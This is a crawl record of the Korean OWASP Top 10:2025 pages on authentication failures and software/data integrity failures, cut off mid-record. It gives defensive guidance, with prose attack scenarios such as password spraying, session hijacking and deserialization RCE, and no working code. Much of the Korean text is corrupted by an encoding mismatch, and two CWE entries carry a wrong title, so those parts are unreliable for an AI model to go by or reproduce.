"https://owasp.org/Top10/2025/ko/A07_2025-Authentication_Failures/", "titulek": "A07 인증 실패 - OWASP Top 10:2025", "h1": "A07:2025 인증 실패", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/ko/A07_2025-Authentication_Failures/", "jazyk": "ko", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A07:2025 인증 실패"}, {"uroven": 2, "text": "배경."}, {"uroven": 2, "text": "ě ěˆ˜í‘œ."}, {"uroven": 2, "text": "설명."}, {"uroven": 2, "text": "대응 방안."}, {"uroven": 2, "text": "곾겊 시나리오 예시."}, {"uroven": 2, "text": "참쥰."}, {"uroven": 2, "text": "해당되는 CWE 목록."}], "markdown": "# A07:2025 인증 실패\n\n## 배경.\n\n인증 실패는 동일하게 7위를 ěœ ě§€í•˜ęł ěžˆěœźëŠ°, 해당 ěš´í…Œęł ëŚŹě— 해당되는 36개의 CWE뼟 보다 ě •í™•í•˜ę˛Œ 반영하기 위해 명칭을 약간 변경했다. 표준화된 í”„ë ˆěž„ě›ŒíŹëĄœëś€í„°ě˜ ě´ě ě—ë„ ëśˆęľŹí•˜ęł , 이 ěš´í…Œęł ëŚŹëŠ” 2021년부터 7위를 ěœ ě§€í•´ 왔다. ëŒ€í‘œě ě¸ CWE로는 *CWE-259 하드코딩된 비밀번호 사용*, *CWE-297: 호스트 불일치 상황에서의 인증서 검증 미흡*, *CWE-287: ëś€ě ě ˆí•œ 인증*, *CWE-384: 세션 ęł ě •(Session Fixation)*, ęˇ¸ëŚŹęł *CWE-798 하드코딩된 자격 증명 사용*이 포함된다.\n\n## ě ěˆ˜í‘œ.\n\n| 해당되는 CWE 개수 | 최대 ěˇ¨ě•˝ě  ë°œěƒëĽ | í‰ęˇ ěˇ¨ě•˝ě  ë°œěƒëĽ | 최대 테스트 커버리지 | í‰ęˇ í…ŒěŠ¤íŠ¸ 커버리지 | í‰ęˇ ę°€ě¤‘ 악용도 | í‰ęˇ ę°€ě¤‘ 영향도 | 총 발생 깴수 | 총 CVE 깴수 |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 36 | 15.80% | 2.92% | 100.00% | 37.14% | 7.69 | 4.44 | 1,120,673 | 7,147 |\n\n## 설명.\n\n공격자가 시스템을 속여 ěœ íš¨í•˜ě§€ 않거나 잘못된 사용자 ě •ëł´ëĽź ě •ěƒ 사용자로 인증되도록 만들 수 있는 경우, 해당 ěˇ¨ě•˝ě ě´ ěĄ´ěžŹí•œë‹¤ęł íŒë‹¨í•œë‹¤. 특히 ě• í”ŒëŚŹěź€ě´ě…˜ě´ 아래와 같은 행위를 ě‹¤ě§ˆě ěœźëĄœ 방어하지 못하면 인증 ę´€ë ¨ ě•˝ě ě´ 있을 수 있다.\n\n- 공격자가 ěœ íš¨í•œ 사용자명과 비밀번호의 ěœ ěśœ 목록을 ëł´ěœ í•œ 상태에서 수행하는 크리덴셜 스터핑(credential stuffing)ęłź 같은 자동화 공격을 방어하지 못하는 경우. 최근에는 이러한 ěœ í˜•ě˜ 공격이 하이브리드 비밀번호 곾겊(일명 비밀번호 ěŠ¤í”„ë ˆě´ 곾겊)까지로 확장되었는데, 이는 공격자가 ěœ ěśœëœ 자격 증명의 변형 또는 숫자를 더하는 방법을 사용하여 ě ‘ęˇź 권한을 획득하는 방식이다. 예뼟 들어 획득된 비밀번호가 Password1!인 경우 Password2!, Password3! 등을 ěˆœě°¨ě ěœźëĄœ 시도하는 것이다.\n- 무차별 대입(brute force) 또는 기타 자동화된 스크립트 기반 공격을 방어하지 못하는 경우 혹은 이러한 공격이 ě‹ ě†í•˜ę˛Œ 차단되지 않는 경우.\n- 기본 비밀번호, 취약한 비밀번호 또는 널리 ě•Œë ¤ě§„ 비밀번호를 허용하는 경우. 예뼟 들어 \"Password1\"와 같은 비밀번호나 \"admin\" 사용자명과 \"admin\" 비밀번호와 같은 조합이 있다.\n- 이미 ěœ ěśœëœ 아이디 및 비밀번호로 사용자가 새 ęł„ě •ě„ ěƒě„ąí• ěˆ˜ 있는 경우.\n- ě•ˆě „í•˜ě§€ 않은 \"질돸-답변 방식 비밀번호 찞기\"ęłź 같은 취약하거나 ëš„íš¨ěœ¨ě ě¸ 자격 증명 볾꾏 및 비밀번호 찞기 프로세스를 사용하는 경우.\n- 평문, 암호화된, 또는 약한 해시(hash)로 해시된 비밀번호를 사용하는 경우. [A04:2025-암호 체계 실패](https://owasp.org/Top10/2025/A04_2025-Cryptographic_Failures/) ě°¸ęł .\n- 다중 인증(MFA)이 누락되어 있거나 íš¨ęłźě ě´ě§€ 않은 경우.\n- 다중 인증을 ě‚ŹěšŠí• ěˆ˜ 없을 때 ě ěšŠë˜ëŠ” 대체 수단(fallback)이 취약하거나 íš¨ęłźě ě´ě§€ 않은 경우.\n- 세션 식별자가 URL, ížˆë“ í•„ë“œ, 또는 클라이언트가 ě ‘ęˇź 가능한 기타 ě•ˆě „í•˜ě§€ 않은 위치에 노출되는 경우.\n- 로그인 성공 후에도 동일한 세션 식별자를 재사용하는 경우.\n- 로그아웃 또는 비활성 기간 동안 사용자 세션 또는 인증 í† í°(싱글 사인온[SSO] í† í°)을 올바르게 무효화하지 않는 경우.\n- ě œęłľëœ 자격 증명의 범위(scope) 및 의도된 대상(audience)을 올바르게 검증하지 않는 경우.\n\n## 대응 방안.\n\n- 가능하다면 MFA뼟 ë„ěž…í•˜ęł ę°•ě œ ě ěšŠí•˜ě—Ź 자동화된 크리덴셜 스터핑, 무차별 대입 곾겊 및 탈취된 자격 증명의 재사용 공격을 차단한다.\n- 가능하다면 사용자가 더 나은 ě„ íƒě„ í• ěˆ˜ 있도록 비밀번호 관리자의 사용을 ěžĽë ¤í•˜ęł í™œě„ąí™”í•œë‹¤.\n- 배포 ě‹œě ě— 기본 ęł„ě • 및 기본 비밀번호가 남아있지 않도록 하며, 특히 관리자 ęł„ě •ě€ 더 ě‹ ę˛˝ě“´ë‹¤.\n- ě‹ ęˇœ 및 변경 비밀번호에 대해 최악의 비밀번호 Top 10,000에 기반하여 해당 비밀번호를 ě„¤ě •í•˜ě§€ 못하도록 ě ěšŠí•œë‹¤.\n- ě‹ ęˇœ ęł„ě • 생성 및 비밀번호 변경 시, ě•Œë ¤ě§„ ěœ ěśœ 자격 증명 목록에 있는지 검증한다. (예: [haveibeenpwned.com](https://haveibeenpwned.com) 사용.)\n- 비밀번호 ě •ěą…(길이, 복잡도, ěŁźę¸°ě  변경)은 [NIST 800-63B 섹션 5.1.1](https://pages.nist.gov/800-63-3/sp800-63b.html#:~:text=5.1.1%20Memorized%20Secrets) 등 í˜„ëŒ€ě  ꡟ깰 기반 가이드에 맞춰 수립한다.\n- ěœ ěśœě´ 의심되지 않는 한, 사람에게 비밀번호를 ěŁźę¸°ě ěœźëĄœ 변경하도록 ę°•ě œí•˜ě§€ 않는다. ěœ ěśœě´ 의심되는 경우, 즉시 비밀번호 ěžŹě„¤ě •ě„ ę°•ě œí•œë‹¤.\n- ęł„ě • 열거 공격에 ęł„ě • 존재 여부가 드러나지 않도록 회원가입, 비밀번호 볾꾏, API 응답 메시지를 결과와 무관하게 동일(예: \"올바르지 않은 ěœ ě €ëŞ… 혹은 패스워드\")하게 ěœ ě§€í•œë‹¤.\n- 로그인 실패에 대해 횟수 ě œí•œ 또는 ě ě§„ě ě¸ 지연을 ě ěšŠí•˜ë˜, 과도한 í†ľě œëĄœ DoS(denial of service)가 ěœ ë°œë˜ě§€ 않도록 설계한다. 또한 실패 이벤트를 ëĄœęš…í•˜ęł íŹëŚŹë´ě…œ 스터핑이나 무차별 대입 곾겊 징후 탐지 시 관리자에게 알림을 발송한다.\n- 세션은 높은 엔트로피를 가진 새로운 무작위 세션 ID뼟 생성하는 서버 측의 ě•ˆě „í•œ 내장 세션 관리자를 사용한다. 세션 식별자는 URL에 포함되지 않아야 하며, ěż í‚¤ě— ě•ˆě „í•˜ę˛Œ ě €ěžĽë˜ęł , 로그아웃하거나 ěœ íœ´ 시간 및 최대 세션 시간 초곟 시 무효가 되어야 한다.\n- 가능하면 인증, 아이덴티티, 세션 관리를 자체 구현하기보다 ě‚Źě „ ě œěž‘ëœ, ě‹ ë˘°í• ěˆ˜ 있는 시스템을 사용한다. 가능하다면 ę˛€ěŚë˜ęł ěśŠëś„ížˆ 테스트된 도구를 꾏매/활용해 구현 위험을 줄인다.\n- ě œęłľëœ 자격 증명의 의도된 용도를 검증한다. 예뼟 들어 JWT의 경우 `aud`와 `iss` í´ë ˆěž„(claim) 및 스코프(scope)뼟 검증한다.\n\n## 곾겊 시나리오 예시.\n\n**시나리오 1:** 크리덴셜 스터핑은 ěœ ěśœëœ ęł„ě •-비밀번호 조합을 자동으로 대입하는 ëŒ€í‘œě ě¸ 공격이다. 최근에는 사람들의 습관을 악용해 비밀번호의 숫자를 증가 및 감소시켜 가며 공격하는 사례가 í™•ě¸ë˜ęł ěžˆë‹¤. 예뼟 들어, 예뼟 들어 'Winter2025'뼟 'Winter2026'으로 바꾸거나, 'ILoveMyDog6'뼟 'ILoveMyDog7' 또는 'ILoveMyDog5'로 바꾸는 식이다. 이러한 공격을 하이브리드 크리덴셜 스터핑 곾겊 또는 패스워드 ěŠ¤í”„ë ˆě´ ęłľę˛Šě´ëźęł í•˜ëŠ°, 기존의 크리덴셜 스터핑보다 더 íš¨ęłźě ěź 수 있다. ě• í”ŒëŚŹěź€ě´ě…˜ě´ 자동화된 위협(무차별 대입, 스크립트, 봇) 또는 크리덴셜 스터핑에 대한 방어를 구현하지 않으면, 해당 ě• í”ŒëŚŹěź€ě´ě…˜ě€ 자격 증명이 ěœ íš¨í•œě§€ 여부를 판별하는 패스워드 오라클로 악용되어 비인가 ě ‘ęˇźě„ 획득하는 데 ě‚ŹěšŠë ěˆ˜ 있다.\n\n**시나리오 2:** 인증 공격의 상당수는 비밀번호만으로 인증을 구성하는 구조에서 발생한다. 과거에 권장되던 ěŁźę¸°ě  비밀번호 변경 및 과도한 복잡도 ě •ěą…ě€ ě˜¤ížˆë ¤ 비밀번호 재사용을 ëŠ˜ëŚŹęł ę¸°ě–ľí•˜ę¸° 쉬운 취약 패턴을 만들 수 있다. 따라서 NIST 800-63의 ęśŒęł ě— 맞춰 불필요한 ě •ěą…ě„ ě§€ě–‘í•˜ęł , 중요 시스템에는 다중 인증(MFA)을 기본으로 ę°•ě œ ě ěšŠí•˜ëŠ” 것이 바람직하다.\n\n**시나리오 3:** ě• í”ŒëŚŹěź€ě´ě…˜ě˜ 세션 타임아웃이 올바르게 구현되지 않았다. 사용자가 공용 컴퓨터에서 ě• í”ŒëŚŹěź€ě´ě…˜ě— ě ‘ęˇźí•œ 뒤 \"로그아웃\" 버튼 ëŒ€ě‹ ë¸Œëźěš°ě € 탭을 ë‹Ťęł ěžëŚŹëĽź ë– ë‚œë‹¤. 또 다른 예로, SSO(Single Sign-On) 환경에서 단일 로그아웃(Single Logout)이 지원되지 않는 경우가 있다. 즉, SSO로 메일, 문서 시스템, 채팅 시스템에 한 번에 로그인되지만, 로그아웃은 현재 사용 중인 시스템에서만 로그아웃 처리된다. 이 상태에서 공격자가 동일한 ë¸Œëźěš°ě €ëĽź 사용하면, 다른 ě• í”ŒëŚŹěź€ě´ě…˜ě—ëŠ” 세션이 남아 있어 피해자 ęł„ě •ě— ě ‘ęˇźí• ěˆ˜ 있다. 동일한 ëŹ¸ě œëŠ” 민감한 ě• í”ŒëŚŹěź€ě´ě…˜ě´ ě ě ˆížˆ 종료되지 않은 상태에서 동료가 ěž ę¸ˆ í•´ě œëœ 컴퓨터에 ěźě‹œě ěœźëĄœ ě ‘ęˇźí• ěˆ˜ 있는 사무실 환경에서도 ë°œěƒí• ěˆ˜ 있다.\n\n## 참쥰.\n\n- [OWASP Authentication Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html)\n- [OWASP Secure Coding Practices](https://owasp.org/www-project-secure-coding-practices-quick-reference-guide/stable-en/01-introduction/05-introduction)\n\n## 해당되는 CWE 목록.\n\n- [CWE-258 Empty Password in Configuration File](https://cwe.mitre.org/data/definitions/258.html)\n- [CWE-259 Use of Hard-coded Password](https://cwe.mitre.org/data/definitions/259.html)\n- [CWE-287 Improper Authentication](https://cwe.mitre.org/data/definitions/287.html)\n- [CWE-288 Authentication Bypass Using an Alternate Path or Channel](https://cwe.mitre.org/data/definitions/288.html)\n- [CWE-289 Authentication Bypass by Alternate Name](https://cwe.mitre.org/data/definitions/289.html)\n- [CWE-290 Authentication Bypass by Spoofing](https://cwe.mitre.org/data/definitions/290.html)\n- [CWE-291 Reliance on IP Address for Authentication](https://cwe.mitre.org/data/definitions/291.html)\n- [CWE-293 Using Referer Field for Authentication](https://cwe.mitre.org/data/definitions/293.html)\n- [CWE-294 Authentication Bypass by Capture-replay](https://cwe.mitre.org/data/definitions/294.html)\n- [CWE-295 Improper Certificate Validation](https://cwe.mitre.org/data/definitions/295.html)\n- [CWE-297 Improper Validation of Certificate with Host Mismatch](https://cwe.mitre.org/data/definitions/297.html)\n- [CWE-298 Improper Validation of Certificate with Host Mismatch](https://cwe.mitre.org/data/definitions/298.html)\n- [CWE-299 Improper Validation of Certificate with Host Mismatch](https://cwe.mitre.org/data/definitions/299.html)\n- [CWE-300 Channel Accessible by Non-Endpoint](https://cwe.mitre.org/data/definitions/300.html)\n- [CWE-302 Authentication Bypass by Assumed-Immutable Data](https://cwe.mitre.org/data/definitions/302.html)\n- [CWE-303 Incorrect Implementation of Authentication Algorithm](https://cwe.mitre.org/data/definitions/303.html)\n- [CWE-304 Missing Critical Step in Authentication](https://cwe.mitre.org/data/definitions/304.html)\n- [CWE-305 Authentication Bypass by Primary Weakness](https://cwe.mitre.org/data/definitions/305.html)\n- [CWE-306 Missing Authentication for Critical Function](https://cwe.mitre.org/data/definitions/306.html)\n- [CWE-307 Improper Restriction of Excessive Authentication Attempts](https://cwe.mitre.org/data/definitions/307.html)\n- [CWE-308 Use of Single-factor Authentication](https://cwe.mitre.org/data/definitions/308.html)\n- [CWE-309 Use of Password System for Primary Authentication](https://cwe.mitre.org/data/definitions/309.html)\n- [CWE-346 Origin Validation Error](https://cwe.mitre.org/data/definitions/346.html)\n- [CWE-350 Reliance on Reverse DNS Resolution for a Security-Critical Action](https://cwe.mitre.org/data/definitions/350.html)\n- [CWE-384 Session Fixation](https://cwe.mitre.org/data/definitions/384.html)\n- [CWE-521 Weak Password Requirements](https://cwe.mitre.org/data/definitions/521.html)\n- [CWE-613 Insufficient Session Expiration](https://cwe.mitre.org/data/definitions/613.html)\n- [CWE-620 Unverified Password Change](https://cwe.mitre.org/data/definitions/620.html)\n- [CWE-640 Weak Password Recovery Mechanism for Forgotten Password](https://cwe.mitre.org/data/definitions/640.html)\n- [CWE-798 Use of Hard-coded Credentials](https://cwe.mitre.org/data/definitions/798.html)\n- [CWE-940 Improper Verification of Source of a Communication Channel](https://cwe.mitre.org/data/definitions/940.html)\n- [CWE-941 Incorrectly Specified Destination in a Communication Channel](https://cwe.mitre.org/data/definitions/941.html)\n- [CWE-1390 Weak Authentication](https://cwe.mitre.org/data/definitions/1390.html)\n- [CWE-1391 Use of Weak Credentials](https://cwe.mitre.org/data/definitions/1391.html)\n- [CWE-1392 Use of Default Credentials](https://cwe.mitre.org/data/definitions/1392.html)\n- [CWE-1393 Use of Default Password](https://cwe.mitre.org/data/definitions/1393.html)", "znaku_textu": 12382, "slov": 1298, "odkazu": 76, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:09:39", "sha256": "b929e174da5a82673a9293e69dbca33e4e7300380d71ab72202de83e38396fb5", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://haveibeenpwned.com/", "https://pages.nist.gov/800-63-3/sp800-63b.html", "https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html", "https://cwe.mitre.org/data/definitions/258.html", "https://cwe.mitre.org/data/definitions/259.html", "https://cwe.mitre.org/data/definitions/287.html", "https://cwe.mitre.org/data/definitions/288.html", "https://cwe.mitre.org/data/definitions/289.html", "https://cwe.mitre.org/data/definitions/290.html", "https://cwe.mitre.org/data/definitions/291.html", "https://cwe.mitre.org/data/definitions/293.html", "https://cwe.mitre.org/data/definitions/294.html", "https://cwe.mitre.org/data/definitions/295.html", "https://cwe.mitre.org/data/definitions/297.html", "https://cwe.mitre.org/data/definitions/298.html", "https://cwe.mitre.org/data/definitions/299.html", "https://cwe.mitre.org/data/definitions/300.html", "https://cwe.mitre.org/data/definitions/302.html", "https://cwe.mitre.org/data/definitions/303.html", "https://cwe.mitre.org/data/definitions/304.html", "https://cwe.mitre.org/data/definitions/305.html", "https://cwe.mitre.org/data/definitions/306.html", "https://cwe.mitre.org/data/definitions/307.html", "https://cwe.mitre.org/data/definitions/308.html", "https://cwe.mitre.org/data/definitions/309.html", "https://cwe.mitre.org/data/definitions/346.html", "https://cwe.mitre.org/data/definitions/350.html", "https://cwe.mitre.org/data/definitions/384.html", "https://cwe.mitre.org/data/definitions/521.html", "https://cwe.mitre.org/data/definitions/613.html", "https://cwe.mitre.org/data/definitions/620.html", "https://cwe.mitre.org/data/definitions/640.html", "https://cwe.mitre.org/data/definitions/798.html", "https://cwe.mitre.org/data/definitions/940.html", "https://cwe.mitre.org/data/definitions/941.html", "https://cwe.mitre.org/data/definitions/1390.html", "https://cwe.mitre.org/data/definitions/1391.html", "https://cwe.mitre.org/data/definitions/1392.html", "https://cwe.mitre.org/data/definitions/1393.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/ko/A08_2025-Software_or_Data_Integrity_Failures/", "titulek": "A08 소프트웨어 또는 데이터 무결성 실패 - OWASP Top 10:2025", "h1": "A08:2025 소프트웨어 또는 데이터 무결성 실패", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/ko/A08_2025-Software_or_Data_Integrity_Failures/", "jazyk": "ko", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A08:2025 소프트웨어 또는 데이터 무결성 실패"}, {"uroven": 2, "text": "배경."}, {"uroven": 2, "text": "ě ěˆ˜ 표."}, {"uroven": 2, "text": "설명."}, {"uroven": 2, "text": "예밊 방법."}, {"uroven": 2, "text": "곾겊 시나리오 예시."}, {"uroven": 2, "text": "참쥰."}, {"uroven": 2, "text": "매핑된 CWE 목록"}], "markdown": "# A08:2025 소프트웨어 또는 데이터 무결성 실패\n\n## 배경.\n\n소프트웨어 또는 데이터 무결성 실패는 8위를 ěœ ě§€í–ˆěœźëŠ°, \"소프트웨어 *및* 데이터 무결성 실패\"에서 약간의 명확화를 위해 명칭이 소폭 변경되었다. 해당 ěš´í…Œęł ëŚŹëŠ” 소프트웨어 공급망 실패(Software Supply Chain Failures)보다 더 하위 수준에서, ě‹ ë˘° 경계를 ěœ ě§€í•˜ě§€ ëŞťí•˜ęł ě†Œí”„íŠ¸ě›¨ě–´, 코드, 데이터 아티팩트의 무결성을 검증하지 못하는 ëŹ¸ě œě— ě´ˆě ě„ 둔다. 즉, 무결성을 확인하지 않은 채 소프트웨어 업데이트와 중요 데이터에 대해 ę°€ě •í•˜ëŠ” 행위를 다룬다. ëŒ€í‘œě ě¸ CWE로는 *CWE-829: ě‹ ë˘°í• ěˆ˜ 없는 í†ľě œ 영역에서 기능 포함(Inclusion of Functionality from Untrusted Control Sphere)*, *CWE-915: ë™ě -ę˛°ě • 객체 속성의 ëś€ě ě ˆí•˜ę˛Œ í†ľě œëœ ěˆ˜ě •(Improperly Controlled Modification of Dynamically-Determined Object Attributes)*, *CWE-502: ě‹ ë˘°í• ěˆ˜ 없는 데이터의 ě—­ě§ë Źí™”(Deserialization of Untrusted Data)*가 있다.\n\n## ě ěˆ˜ 표.\n\n| 매핑된 CWE 수 | 최대 ë°œěƒëĽ | í‰ęˇ ë°œěƒëĽ | 최대 커버리지 | í‰ęˇ ěť¤ë˛„ëŚŹě§€ | í‰ęˇ ę°€ě¤‘ 악용 | í‰ęˇ ę°€ě¤‘ 영향 | 총 발생 깴수 | 총 CVE 수 |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 14 | 8.98% | 2.75% | 78.52% | 45.49% | 7.11 | 4.79 | 501,327 | 3,331 |\n\n## 설명.\n\n소프트웨어 및 데이터 무결성 실패는 ěœ íš¨í•˜ě§€ 않거나 ě‹ ë˘°í• ěˆ˜ 없는 코드 또는 데이터가 ě‹ ë˘°í• ěˆ˜ ěžˆęł ěœ íš¨í•œ 것으로 취급되는 것을 방지하지 못하는 코드 및 인프라와 ę´€ë ¨ëœë‹¤. 예뼟 들어, ě• í”ŒëŚŹěź€ě´ě…˜ě´ ě‹ ë˘°í• ěˆ˜ 없는 출처, ě €ěžĽě†Œ, ě˝˜í…ě¸ ě „ě†Ą 네트워크(CDN)에서 ě œęłľë˜ëŠ” 플러그인, 라이브러리, 모듈에 의존하는 경우가 이에 해당한다. 소프트웨어 무결성 검증을 수행하지 않거나 ě œęłľí•˜ě§€ 않는 ëśˆě•ˆě „í•œ CI/CD 파이프라인은 비인가 ě ‘ęˇź, ëśˆě•ˆě „í•˜ęą°ë‚˜ ě•…ě˜ě ě¸ 코드, 또는 시스템 손상으로 이어질 ěž ěžŹě  위험을 ě´ˆëž˜í• ěˆ˜ 있다. 또 다른 예로, CI/CD가 ě‹ ë˘°í• ěˆ˜ 없는 장소에서 코드나 아티팩트를 ę°€ě ¸ě˜¤ęł , 사용 ě „ě— 서명 확인 등 ěœ ě‚Źí•œ 메커니즘으로 이를 검증하지 않는 경우가 있다. 마지막으로, 많은 ě• í”ŒëŚŹěź€ě´ě…˜ě—ëŠ” 자동 업데이트 기능이 포함되어 있는데, 업데이트가 충분한 무결성 검증 없이 다운로드되어 기존에 ě‹ ë˘°í•˜ë˜ ě• í”ŒëŚŹěź€ě´ě…˜ě— 그대로 ě ěšŠë˜ëŠ” 경우가 있다. 이런 구조에서는 공격자가 ěžě‹ ě˜ 업데이트를 업로드해 이를 ëŞ¨ë“ ě„¤ěš˜ëł¸ě— 배포, 실행되도록 만들 수 있다. 또 다른 예로, 객체나 데이터가 공격자가 í™•ě¸í•˜ęł ěˆ˜ě •í• ěˆ˜ 있는 형태로 인코딩되거나 ě§ë Źí™”ëœ 경우, ëśˆě•ˆě „í•œ ě—­ě§ë Źí™”(insecure deserialization)에 취약해질 수 있다.\n\n## 예밊 방법.\n\n- 디지털 서명 또는 ěœ ě‚Źí•œ 메커니즘을 사용하여 소프트웨어나 데이터가 예상된 출처에서 ě™”ęł ëł€ěĄ°ë˜ě§€ 않았음을 검증한다.\n- npm이나 Mavenęłź 같은 라이브러리 및 의존성이 ě‹ ë˘°í• ěˆ˜ 있는 ě €ěžĽě†Œë§Œ 사용하도록 보장한다. 위험 수준이 더 높다면, 잘 검증된 내부 ě €ěžĽě†ŒëĽź 호스팅하는 방안을 ęł ë ¤í•œë‹¤.\n- ě•…ě˜ě ě¸ ëŞŠě ě˜ 코드 또는 ě„¤ě •ě´ 소프트웨어 파이프라인에 ěœ ěž…ë ę°€ëŠĽě„ąě„ 최소화하기 위해, 코드 및 ě„¤ě • 변경에 대한 ę˛€í† ě ˆě°¨ëĽź ë§ˆë ¨í•œë‹¤.\n- 빌드 및 배포 ęłźě •ě—ě„œ 흐르는 코드의 무결성을 ëł´ěžĽí• ěˆ˜ 있도록, CI/CD 파이프라인에 ě ě ˆí•œ 분리(겊댏), 구성, ě ‘ęˇź ě œě–´ëĽź ě ěšŠí•œë‹¤.\n- 서명되지 않았거나 암호화되지 않은 ě§ë Źí™” 데이터가 ě‹ ë˘°í• ěˆ˜ 없는 클라이언트로부터 ěˆ˜ě‹ ëœ 뒤, 변조 또는 ěžŹě „ě†Ą(replay)을 탐지하기 위한 무결성 검사나 디지털 서명 없이 사용되지 않도록 보장한다.\n\n## 곾겊 시나리오 예시.\n\n**시나리오 #1 ě‹ ë˘°í• ěˆ˜ 없는 외부 웹 기능 연동:** 한 회사가 ęł ę° 지원 기능을 ě œęłľë°›ę¸° 위해 외부 서비스 ě œęłľě—…ě˛´ëĽź 사용한다. 편의상 `myCompany.SupportProvider.com`을 `support.myCompany.com`으로 DNS 매핑해 두었다. ꡸ 결곟 `myCompany.com` 도메인에 ě„¤ě •ëœ ëŞ¨ë“ ěż í‚¤(인증 ěż í‚¤ 포함)가 ě´ě œ ęł ę° 지원 ě œęłľě—…ě˛´ëĄœ ě „ě†Ąëœë‹¤. ęł ę° 지원 ě œęłľě—…ě˛´ě˜ 인프라에 ě ‘ęˇźí• ěˆ˜ 있는 ëˆ„ęľŹë“ `support.myCompany.com`을 방문한 ëŞ¨ë“ ě‚ŹěšŠěžě˜ ěż í‚¤ëĽź 탈취하여 세션 하이재킹 공격을 ěˆ˜í–‰í• ěˆ˜ 있다.\n\n**시나리오 #2 서명 없이 업데이트:** 많은 ę°€ě •ěšŠ 라우터, 셋톱박스, 장치 펌웨어 등은 업데이트를 위해 서명된 펌웨어를 사용하지 않는다. 서명되지 않은 펌웨어는 공격자에게 ě ě  더 ë§¤ë Ľě ě¸ í‘œě ě´ ë˜ęł ěžˆěœźëŠ°, 앞으로도 ě•…í™”ë ę˛ƒěœźëĄœ 예상된다. 이는 대개 향후 ë˛„ě „ě—ě„œ ěˆ˜ě •í•œ 뒤 ě´ě „ ë˛„ě „ě´ 자연스럽게 사라질 때까지 ę¸°ë‹¤ë ¤ě•ź 수밖에 없는 경우가 많다는 ě ě—ě„œ 큰 ěš°ë ¤ 사항이다.\n\n**시나리오 #3 ě‹ ë˘°í• ěˆ˜ 없는 출처의 패키지 사용:** 한 개발자가 ě°žęł ěžˆëŠ” 패키지의 ěľœě‹ ë˛„ě „ě„ 구하기 ě–´ë ľěž, ěźë°˜ě ěœźëĄœ 사용하는 ě‹ ë˘°í• ěˆ˜ 있는 패키지 관리자가 아니라 온라인 웹사이트에서 패키지를 다운로드한다. 해당 패키지는 서명되어 있지 않으므로 무결성을 ëł´ěžĽí• ë°Šë˛•ě´ 없다. 해당 패키지에는 ě•…ě˜ě ě¸ 코드가 포함되어 있다.\n\n**시나리오 #4 ëśˆě•ˆě „í•œ ě—­ě§ë Źí™”:** 한 React ě• í”ŒëŚŹěź€ě´ě…˜ě´ 여러 Spring Boot 마이크로서비스를 호출한다. 함수형 프로그래밍을 지향하던 이들은 코드의 불변성을 ëł´ěžĽí•˜ë ¤ęł í–ˆë‹¤. 그들이 ě„ íƒí•œ 해결책은 사용자 상태를 ě§ë Źí™”í•˜ě—Ź 각 요청마다 이를 ěŁźęł ë°›ëŠ” 것이었다. 공격자는 (base64로 인코딩된) \"rO0\" 자바 객체 시그니처를 ë°œę˛Źí•˜ęł , [Java Deserialization Scanner](https://github.com/federicodotta/Java-Deserialization-Scanner)뼟 사용해 ě• í”ŒëŚŹěź€ě´ě…˜ 서버에서 원격 코드 실행(RCE)을 획득한다.\n\n## 참쥰.\n\n- [OWASP Cheat Sheet: Software Supply Chain Security](https://cheatsheetseries.owasp.org/cheatsheets/Software_Supply_Chain_Security_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Infrastructure as Code](https://cheatsheetseries.owasp.org/cheatsheets/Infrastructure_as_Code_Security_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Deserialization](https://wiki.owasp.org/index.php/Deserialization_Cheat_Sheet)\n- [SAFECode Software Integrity Controls](https://safecode.org/publication/SAFECode_Software_Integrity_Controls0610.pdf)\n- [A 'Worst Nightmare' Cyberattack: The Untold Story Of The SolarWinds Hack](https://www.npr.org/2021/04/16/985439655/a-worst-nightmare-cyberattack-the-untold-story-of-the-solarwinds-hack)\n- [CodeCov Bash Uploader Compromise](https://about.codecov.io/security-update)\n- [Securing DevOps by Julien Vehent](https://www.manning.com/books/securing-devops)\n- [Insecure Deserialization by Tenendo](https://tenendo.com/insecure-deserialization/)\n\n## 매핑된 CWE 목록\n\n- [CWE-345 Insufficient Verification of Data Authenticity](https://cwe.mitre.org/data/definitions/345.html)\n- [CWE-353 Missing Support for Integrity Check](https://cwe.mitre.org/data/definitions/353.html)\n- [CWE-426 Untrusted Search Path](https://cwe.mitre.org/data/definitions/426.html)\n- [CWE-427 Uncontrolled Search Path Element](https://cwe.mitre.org/data/definitions/427.html)\n- [CWE-494 Download of Code Without Integrity Check](https://cwe.mitre.org/data/definitions/494.html)\n- [CWE-502 Deserialization of Untrusted Data](https://cwe.mitre.org/data/definitions/502.html)\n- [CWE-506 Embedded Malicious Code](https://cwe.mitre.org/data/definitions/506.html)\n- [CWE-509 Replicating Malicious Code (Virus or Worm)](https://cwe.mitre.org/data/definitions/509.html)\n- [CWE-565 Reliance on Cookies without Validation and Integrity Checking](https://cwe.mitre.org/data/definitions/565.html)\n- [CWE-784 Reliance on Cookies without Validation and Integrity Checking in a Security Decision](https://cwe.mitre.org/data/definitions/784.html)\n- [CWE-829 Inclusion of Functionality from Untrusted Control Sphere](https://cwe.mitre.org/data/definitions/829.html)\n- [CWE-830 Inclusion of Web Functionality from an Untrusted Source](https://cwe.mitre.org/data/definitions/830.html)\n- [CWE-915 Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html)\n- [CWE-926 Improper Export of Android Application Components](https://cwe.mitre.org/data/definitions/926.html)", "znaku_textu": 8600, "slov": 932, "odkazu": 58, "kodovani": 